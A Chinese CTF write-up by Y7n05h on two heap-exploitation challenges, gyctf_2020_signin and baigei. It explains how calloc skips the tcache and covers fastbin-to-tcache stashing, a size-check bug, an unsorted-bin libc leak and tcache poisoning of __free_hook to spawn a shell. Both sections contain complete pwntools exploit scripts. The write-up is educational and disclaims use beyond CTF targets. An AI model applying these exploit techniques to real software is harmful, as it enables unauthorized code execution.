gyctf_2020_signin

info
License
本文引用了部分来自 GNU C Library 的源码,源码取自 GNU C Library 基于 LGPLv2.1

注:本题目的运行环境使用的 glibc 为 2.27-3ubuntu1_amd64,但本文中展示的所有 glibc 代码为 2.34

WriteUp-gyctf_2020_signin

看到本文的各位师傅,请允许 Y7n05h 又翻出这段各位都熟悉无比的代码.能够发现从非空的 tcache 中取出 chunk 是在 __libc_malloc() 中完成的,而非在 _int_malloc_() 中.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;

_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
"PTRDIFF_MAX is not more than half of SIZE_MAX");

if (!__malloc_initialized)
ptmalloc_init ();
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
if (!checked_request2size (bytes, &tbytes))
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
victim = tcache_get (tc_idx);
return tag_new_usable (victim);
}
DIAG_POP_NEEDS_COMMENT;
#endif

if (SINGLE_THREAD_P)
{
victim = tag_new_usable (_int_malloc (&main_arena, bytes));
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}

arena_get (ar_ptr, bytes);

victim = _int_malloc (ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}

if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);

victim = tag_new_usable (victim);

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
return victim;
}

再看 __libc_calloc()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
void *
__libc_calloc (size_t n, size_t elem_size)
{
mstate av;
mchunkptr oldtop;
INTERNAL_SIZE_T sz, oldtopsize;
void *mem;
unsigned long clearsize;
unsigned long nclears;
INTERNAL_SIZE_T *d;
ptrdiff_t bytes;

if (__glibc_unlikely (__builtin_mul_overflow (n, elem_size, &bytes)))
{
__set_errno (ENOMEM);
return NULL;
}

sz = bytes;

if (!__malloc_initialized)
ptmalloc_init ();

MAYBE_INIT_TCACHE ();

if (SINGLE_THREAD_P)
av = &main_arena;
else
arena_get (av, sz);

if (av)
{
/* Check if we hand out the top chunk, in which case there may be no
need to clear. */
#if MORECORE_CLEARS
oldtop = top (av);
oldtopsize = chunksize (top (av));
# if MORECORE_CLEARS < 2
/* Only newly allocated memory is guaranteed to be cleared. */
if (av == &main_arena &&
oldtopsize < mp_.sbrk_base + av->max_system_mem - (char *) oldtop)
oldtopsize = (mp_.sbrk_base + av->max_system_mem - (char *) oldtop);
# endif
if (av != &main_arena)
{
heap_info *heap = heap_for_ptr (oldtop);
if (oldtopsize < (char *) heap + heap->mprotect_size - (char *) oldtop)
oldtopsize = (char *) heap + heap->mprotect_size - (char *) oldtop;
}
#endif
}
else
{
/* No usable arenas. */
oldtop = 0;
oldtopsize = 0;
}
mem = _int_malloc (av, sz);

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));

if (!SINGLE_THREAD_P)
{
if (mem == 0 && av != NULL)
{
LIBC_PROBE (memory_calloc_retry, 1, sz);
av = arena_get_retry (av, sz);
mem = _int_malloc (av, sz);
}

if (av != NULL)
__libc_lock_unlock (av->mutex);
}

/* Allocation failed even after a retry. */
if (mem == 0)
return 0;

mchunkptr p = mem2chunk (mem);

/* If we are using memory tagging, then we need to set the tags
regardless of MORECORE_CLEARS, so we zero the whole block while
doing so. */
if (__glibc_unlikely (mtag_enabled))
return tag_new_zero_region (mem, memsize (p));

INTERNAL_SIZE_T csz = chunksize (p);

/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p))
{
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);

return mem;
}

#if MORECORE_CLEARS
if (perturb_byte == 0 && (p == oldtop && csz > oldtopsize))
{
/* clear only the bytes from non-freshly-sbrked memory */
csz = oldtopsize;
}
#endif

/* Unroll clear of <= 36 bytes (72 if 8byte sizes). We know that
contents have an odd number of INTERNAL_SIZE_T-sized words;
minimally 3. */
d = (INTERNAL_SIZE_T *) mem;
clearsize = csz - SIZE_SZ;
nclears = clearsize / sizeof (INTERNAL_SIZE_T);
assert (nclears >= 3);

if (nclears > 9)
return memset (d, 0, clearsize);

else
{
*(d + 0) = 0;
*(d + 1) = 0;
*(d + 2) = 0;
if (nclears > 4)
{
*(d + 3) = 0;
*(d + 4) = 0;
if (nclears > 6)
{
*(d + 5) = 0;
*(d + 6) = 0;
if (nclears > 8)
{
*(d + 7) = 0;
*(d + 8) = 0;
}
}
}
}

return mem;
}

相信各位都能发现 __libc_calloc()__libc_malloc() 的差别是很小的,通常情况下将 __libc_calloc() 视为 __libc_malloc() + memset() 是合理的.但除此之外还有一点区别是 __libc_calloc() 中缺少从非空的 tcache 取出 chunk 的部分,因此 calloc() 将优先从 fastbin 中分配 chunk

这也是本题目的利用的核心思路.

错误思路-tcache poisoning

Y7n05h 刚开始也是想采用 tcache poisoning 来完成本题,并寄希望与 free/malloc 的过程中能清除 cnt 实现第二次 edit.但很遗憾,此路并不通.通过此方式虽能将 chunk 分配在 ptr 上,但无法修改 ptr 的值.(至少 Y7n05h 没想到)

正确思路

此方式是从 Pwnki 师傅 的博客学来的.在这里感谢 Pwnki 师傅 师傅.

利用思路:

  1. 分配 8 个大小为 0x80 的 chunk 后全部 free,前 7 个塞满了 tcache,后一个进入 fastbin
  2. 在分配一个 chunk,这将从 tcache 中取出一个 chunk
  3. 修改在 1 中放入的 fastbin 中的 chunk 的 fd 的指针为 ptr - 0x10,注意这个行为使 glibc 认为 ptr - 0x10 是一个 chunk,则 ptr 则是这个 chunkfd
  4. 通过执行 backdoor,调用 callocfastbin 取出 chunk 并将其 fd 指向的 ptr - 0x10 作为一个 chunk 插入 tcache 链表.插入过程中 ptr 将作为 tcache_entrynext 字段被修改.

这些过程的相关代码:

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
1
2
3
4
5
6
7
8
9
10
11
12
#define REMOVE_FB(fb, victim, pp)			\
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
pp = REVEAL_PTR (victim->fd); \
if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
!= victim); \
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
     /* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (__glibc_unlikely (misaligned_chunk (tc_victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (tc_victim->fd);
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
path = '/home/admin/Downloads/gyctf_2020_signin'
elf = ELF(path)
r = process(path)


def i2b(n: int, Hex: bool = False):
return bytes(hex(n) if Hex else str(n), encoding="ascii")


def backdoor():
r.sendafter(b"?", b'6')


def add(idx: int):
r.sendafter(b"?", b'1')
r.sendafter(b"idx?\n", i2b(idx))


def delete(idx: int):
r.sendafter(b"?", b'3')
r.sendafter(b"idx?\n", i2b(idx))


def edit(idx: int, content: bytes):
r.sendafter(b"?", b'2')
r.sendafter(b"idx?\n", i2b(idx))
r.send(content)


addr = elf.symbols['ptr']-0x10
for i in range(8):
add(i)
for i in range(8):
delete(i)

add(8)
payload = p64(addr)
edit(7, payload)

backdoor()
r.interactive()

参考资料

1. Pwnki-gyctf_2020_signin.
2. PYozo_free-gyctf_2020_signin.

WriteUp-长安杯2021-baigei

warning
免责声明

本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.

基本分析

1
2
3
4
5
6
7
8
9
10
11
12
filetype: ELF64
arch: AMD64
mode: 64
endianess: LE
type: DYN
library: GLIBC(2.4)[DYN AMD64-64]
compiler: gcc((Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0)[DYN AMD64-64]
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 /home/admin/Downloads/baige/main
linux-vdso.so.1 (0x00007fff7d9f8000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f6e75d5f000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f6e7614b000)

题目提供的 libc 附件的版本是 2.27-3ubuntu1.4_amd64SHA-1 为:46e93283ff53133360e02a73ae5b5ba375410855

程序分析

下面是通过逆向工程分析得到的伪码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
int Memu()
{
puts("1.Allocate");
puts("2.Delete");
puts("3.Edit");
puts("4.Show");
puts("5.Exit");
return puts(">>");
}
int read_Int()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
buf[(int)read(0, buf, 0x10uLL)] = 0;
return atoi(buf);
}
int Alloc()
{
unsigned int idx; // [rsp+0h] [rbp-10h]
int nbytes; // [rsp+4h] [rbp-Ch]
void *pr; // [rsp+8h] [rbp-8h]

puts("idx?");
idx = read_Int();
if ( idx > 0xF )
return puts("error!");
puts("size?");
nbytes = read_Int();
Size_Arr[idx] = nbytes;
if ( nbytes > 1024 )
return puts("error!");
pr = malloc(nbytes);
if ( !pr )
return puts("error!");
Pr_Arr[idx] = pr;
puts("content?");
read(0, Pr_Arr[idx], (unsigned int)nbytes);
return puts("success!");
}
int Delete()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("idx?");
v1 = read_Int();
if ( v1 > 0xF || !Pr_Arr[v1] )
return puts("error!");
free(Pr_Arr[v1]);
Pr_Arr[v1] = 0LL;
return puts("success!");
}
int Edit()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
int nbytes; // [rsp+Ch] [rbp-4h]

puts("idx?");
v1 = read_Int();
if ( v1 > 0xF )
return puts("error!");
if ( !Pr_Arr[v1] )
return puts("error!");
puts("size?");
nbytes = read_Int();
if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
return puts("error!");
puts("content?");
read(0, Pr_Arr[v1], (unsigned int)nbytes);
return puts("success!");
}
int Show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("idx?");
v1 = read_Int();
if ( v1 > 0xF || !Pr_Arr[v1] )
return puts("error!");
printf("%d : %s\n", v1, (const char *)Pr_Arr[v1]);
return puts("success!");
}
void __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
Memu();
switch ( read_Int() )
{
case 1:
Alloc();
break;
case 2:
Delete();
break;
case 3:
Edit();
break;
case 4:
Show();
break;
case 5:
exit(0);
default:
exit(0);
}
}
}

除了代码之外,全局变量的内存分布如下:

1
2
3
4
5
6
7
8
.bss:0000000000202060 ; __int64 Size_Arr[16]
.bss:0000000000202060 Size_Arr dq 10h dup(?) ; DATA XREF: Alloc+55↑o
.bss:0000000000202060 ; Edit+7A↑o
.bss:00000000002020E0 ; void *Pr_Arr[16]
.bss:00000000002020E0 Pr_Arr dq 10h dup(?) ; DATA XREF: Alloc+AB↑o
.bss:00000000002020E0 ; Alloc+D1↑o ...
.bss:00000000002020E0 _bss ends
.bss:00000000002020E0

漏洞定位

本题的漏洞还是有些隐蔽的.
相信各位师傅在做本题的时候一定会关注 Edit()

1
2
3
4
if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
return puts("error!");
puts("content?");
read(0, Pr_Arr[v1], (unsigned int)nbytes);

这里这处可疑的 强制类型转换 实在太可疑了.
nbytes 的型别很容易推断出是 int
接下来推断 Size_Arr 的型别为:

Size_Arr 中的值只有一个来源就是 Alloc() 中的:

1
Size_Arr[idx] = nbytes;

对应的汇编代码是:

1
2
3
4
5
6
7
.text:0000000000000A48 ; 12:   Size_Arr[idx] = nbytes;
.text:0000000000000A48 mov eax, dword ptr [rbp+pr]
.text:0000000000000A4B movsxd rdx, eax
.text:0000000000000A4E mov eax, [rbp+idx]
.text:0000000000000A51 lea rcx, ds:0[rax*8]
.text:0000000000000A59 lea rax, Size_Arr
.text:0000000000000A60 mov [rcx+rax], rdx

可以看到 movsxd 也就是 nbytes 被符号扩展为 Size_Arr[idx]
那么就能推断出 Size_Arr 的型别为:int64_t[].那么

问题来了:Edit()nbytesSize_Arr[v1] 的型别分别是 int32_tint64_t,两者比较大小时,若无强制类型转换,编译器应当由隐式类型转换规则对 int32_t 进行符号扩展,也就是将 int32_t 转换为 int64_t,然后比较根据有符号数的比较规则比较两者大小即可.

为了验证,可以查看汇编代码:

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000000C0A ; 13:   if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
.text:0000000000000C0A cmp dword ptr [rbp+nbytes], 0
.text:0000000000000C0E jle short loc_C76
.text:0000000000000C10 mov eax, dword ptr [rbp+nbytes]
.text:0000000000000C13 movsxd rdx, eax
.text:0000000000000C16 mov eax, [rbp+var_8]
.text:0000000000000C19 lea rcx, ds:0[rax*8]
.text:0000000000000C21 lea rax, Size_Arr
.text:0000000000000C28 mov rax, [rcx+rax]
.text:0000000000000C2C cmp rdx, rax
.text:0000000000000C2F jnb short loc_C76

在汇编代码中能看到这处语句中对 nbytes 先进行了符号扩展:

1
2
.text:0000000000000C10                 mov     eax, dword ptr [rbp+nbytes]
.text:0000000000000C13 movsxd rdx, eax

rdxrax 的比较却使用了比较无符号数的汇编指令 jnb

这反常的行为提醒着需要提高警惕.
所以笔者就猜测此处应该存在整数溢出的问题.
但看起来出题者通过检测 nbytes <= 0 堵住了 nbytes 发生整数溢出的可能.

那么,Size_Arr[v1] 能发生溢出吗?

确实能,但不用也行……

回看 Alloc()

1
2
3
4
5
6
7
nbytes = read_Int();
Size_Arr[idx] = nbytes;
if ( nbytes > 1024 )
return puts("error!");
pr = malloc(nbytes);
if ( !pr )
return puts("error!");

会惊讶的发现,读取道德 nbytes 被直接写入了 Size_Arr,写入之后才验证数据是否合法.
这意味着可以通过执行 Alloc() 来任意改变 Size_Arr 中的元素.

例如在对 idx 为 0 分配 0x20 的空间后,能通过对 idx 为 0 再次执行 Alloc(),输入 size 大于 1024,实现将 Size_Arr[idx] 修改.
接下来就能通过 Edit() 实现堆溢出.

好了,这就是本题可供利用的漏洞了.若说整数溢出,唯一于此相关的就是:在对 idx 再次执行 Alloc 输入 size 时可以出入 -1,这样在后面调用 Edit() 时就能输入任意的整数作为 size 进行 edit 了.
但不利用这点也完全能解出本题(笔者也想不通出题人为什么在这里放一个整数溢出的 bugs,或许就是为了干扰答题者的思路?).

解题思路

上面说了漏洞所在.下面聊聊解题思路吧.

首先,利用 Unsort Bin Attack 泄露 main_area 的地址,进而泄露 libc 基址.
其后,利用 tcache poisoning 劫持 __free_hooksystemfree 写着 /bin/sh\x00 的内存即可.

通过逆向工程得到的伪代码能轻易写出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context(log_level='debug', os='linux', arch='amd64')
# context.terminal = ['tmux', 'split', '-h']

path = "/home/admin/pwn/main"

libcpath = "/home/admin/libcs/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so"

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)
# r = remote("113.201.14.253", 21111)


def up6(addr_port: bytes):
log.debug("get bytes "+addr_port.hex())
recvlen = len(addr_port)
log.debug("recv len "+hex(recvlen))
assert(recvlen == 6)

return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
return bytes(hex(n) if Hex else str(n), encoding="ascii")


def content(cont: bytes):
r.sendlineafter(b"content?\n", cont)
r.recvuntil(b'success!\n')


def Show(idx: int):
r.sendlineafter(b">>\n", i2b(4))
r.sendlineafter(b"idx?\n", i2b(idx))
r.recvuntil(b': ')
return r.recvuntil(b"\nsuccess!\n", drop=True)


def Alloc(idx: int, size: int, cont: bytes = None):
r.sendlineafter(b">>\n", i2b(1))
r.sendlineafter("idx?\n", i2b(idx))
r.sendlineafter("size?\n", i2b(size))
if cont is None:
r.recvline()
else:
content(cont)


def Edit(idx: int, size: int, cont: bytes):
r.sendlineafter(b">>\n", i2b(3))
r.sendlineafter("idx?\n", i2b(idx))
r.sendlineafter("size?\n", i2b(size))
# pause()

r.sendafter(b"content?\n", cont)
r.recvuntil(b'success!\n')


def Delete(idx: int):
r.sendlineafter(b">>\n", i2b(2))
r.sendlineafter("idx?\n", i2b(idx))

下面申请通过 #0 的溢出能将 #1 的 size 修改为 1-5 的 chunk size 总和.#6 是用来防止 #5 与 top chunk 相邻.

1
2
3
4
5
6
7
8
9
10
11
12
Alloc(0, 0x10, b"123")
Alloc(1, 0xf8, b"123") # 1
Alloc(2, 0xf8, b"123") # 2
Alloc(3, 0xf8, b"/bin/sh\x00") # 3
Alloc(4, 0xf8, b"123") # 4
Alloc(5, 0xf8, b"123") # 5
Alloc(6, 0x10, b"234")

Alloc(0, -1)
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)
Delete(1)

通过这一步,libc 认为 free 掉了一个大小为 0x500 的块,这个块超过了 tcache 的最大值,所以被放进了 Unsort Bin.chunk 的 fd 和 bk 均指向 main_area+96,通过这里得到 libc 基址.
就是要泄露 fd 指针了.通过 show #0 泄露 fd.

1
2
3
4
5
6
7
8
Edit(0, 0x20, cyclic(0x20))
buf = Show(0)
addr = buf[0x20:]
main_area_Addr = up6(addr)-96
__malloc_hook_Addr = main_area_Addr-0x10
libc_base = __malloc_hook_Addr-libc.symbols['__malloc_hook']
__free_hook_Addr = libc_base+libc.symbols['__free_hook']
system_Addr = libc_base+libc.symbols['system']

好了,泄露部分完毕,只剩下使用 tcache poisoning 劫持 __free_hook 的部分了.

1
2
3
4
5
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)

Alloc(1, 0xf8, b"123")
Delete(1)

这次分配中,将 0x500 的 chunk 切分出了 0x100 的部分.通过 Delete 掉分配的 chunk,它进入了 tcache

1
2
3
4
5
payload = cyclic(0x18)+p64(0x101)+p64(__free_hook_Addr)
Edit(0, 0x28, payload)

Alloc(1, 0xf8, b"123")
Alloc(7, 0xf8, p64(system_Addr))

再次利用溢出,修改 tcache 的 next.并通过第二次 Alloc 获得指向 __free_hook 的指针,并 __free_hook 改为 system_Addr

1
2
Delete(3)
r.interactive()

最后,利用被改成 system_Addr__free_hookfree 掉指向 /bin/sh\x00 的指针.
解题完毕.

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

context(log_level='debug', os='linux', arch='amd64')
# context.terminal = ['tmux', 'split', '-h']

path = "/home/admin/pwn/main"

libcpath = "/home/admin/libcs/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so"

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)
# r = remote("113.201.14.253", 21111)


def up6(addr_port: bytes):
log.debug("get bytes "+addr_port.hex())
recvlen = len(addr_port)
log.debug("recv len "+hex(recvlen))
assert(recvlen == 6)

return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
return bytes(hex(n) if Hex else str(n), encoding="ascii")


def content(cont: bytes):
r.sendlineafter(b"content?\n", cont)
r.recvuntil(b'success!\n')


def Show(idx: int):
r.sendlineafter(b">>\n", i2b(4))
r.sendlineafter(b"idx?\n", i2b(idx))
r.recvuntil(b': ')
return r.recvuntil(b"\nsuccess!\n", drop=True)


def Alloc(idx: int, size: int, cont: bytes = None):
r.sendlineafter(b">>\n", i2b(1))
r.sendlineafter("idx?\n", i2b(idx))
r.sendlineafter("size?\n", i2b(size))
if cont is None:
r.recvline()
else:
content(cont)


def Edit(idx: int, size: int, cont: bytes):
r.sendlineafter(b">>\n", i2b(3))
r.sendlineafter("idx?\n", i2b(idx))
r.sendlineafter("size?\n", i2b(size))
# pause()

r.sendafter(b"content?\n", cont)
r.recvuntil(b'success!\n')


def Delete(idx: int):
r.sendlineafter(b">>\n", i2b(2))
r.sendlineafter("idx?\n", i2b(idx))


Alloc(0, 0x10, b"123")
Alloc(1, 0xf8, b"123") # 1
Alloc(2, 0xf8, b"123") # 2
Alloc(3, 0xf8, b"/bin/sh\x00") # 3
Alloc(4, 0xf8, b"123") # 4
Alloc(5, 0xf8, b"123") # 5
Alloc(6, 0x10, b"234")

Alloc(0, -1)
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)
Delete(1)

Edit(0, 0x20, cyclic(0x20))
buf = Show(0)
addr = buf[0x20:]
main_area_Addr = up6(addr)-96
__malloc_hook_Addr = main_area_Addr-0x10
libc_base = __malloc_hook_Addr-libc.symbols['__malloc_hook']
__free_hook_Addr = libc_base+libc.symbols['__free_hook']
system_Addr = libc_base+libc.symbols['system']

payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)

Alloc(1, 0xf8, b"123")
Delete(1)

payload = cyclic(0x18)+p64(0x101)+p64(__free_hook_Addr)
Edit(0, 0x28, payload)

Alloc(1, 0xf8, b"123")
Alloc(7, 0xf8, p64(system_Addr))

Delete(3)
r.interactive()